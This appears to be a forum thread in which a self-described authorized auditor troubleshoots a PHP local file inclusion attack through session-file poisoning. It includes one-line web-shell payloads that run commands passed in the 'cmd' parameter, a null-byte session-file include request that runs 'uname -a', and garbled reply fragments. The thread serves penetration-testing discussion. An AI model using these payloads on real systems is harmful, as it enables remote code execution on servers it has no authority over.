Firstly, I make the obligatory disclaimer that everything I am doing here is legitimate and pre-authorized, etc., etc.
For those unfamiliar with user session local file inclusion in PHP, there's a nice example of it here in section 2.2.4: http://www.enye-sec.org/en/papers/web_vuln-en.txt
I am auditing a Web service that suffers an LFI vulnerability that can only be exploited via a session file include (I have no rights to read /proc/self/environs, Apache access/error logs, etc.). The contents of the original session file look like this (modified from the original for secrecy):
user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";
I can modify the sig parameter by using a proxy to intercept the Web traffic. For example, by changing sig=0 to sig=hello, I see:
user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";
So far, so good. The problem comes when I try to inject PHP code instead of a text string. Using any of the code below, I see the same result:
<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>
The session file registers the code string lengths correctly, but the contents are apparently filtered out.
user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";
Either way, I cannot get my PHP code to run, as this returns nothing.
session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a
I feel like I'm missing something quite simple, but I'm not too experienced with PHP; thus, I'd very much appreciate any and all ideas.
<?php exec($_GET['cmd']); ?>
is exactly 28 bytes long. Maybe you should look at the source code instead of rendered output in your browser.include
or one of its other variants involved, so no evaluation of PHP code.Either way, I cannot get my PHP code to run, as this returns nothing.
I assume you've discounted the possibility that the site code is doing this on purpose - attempting to block the vulnerability?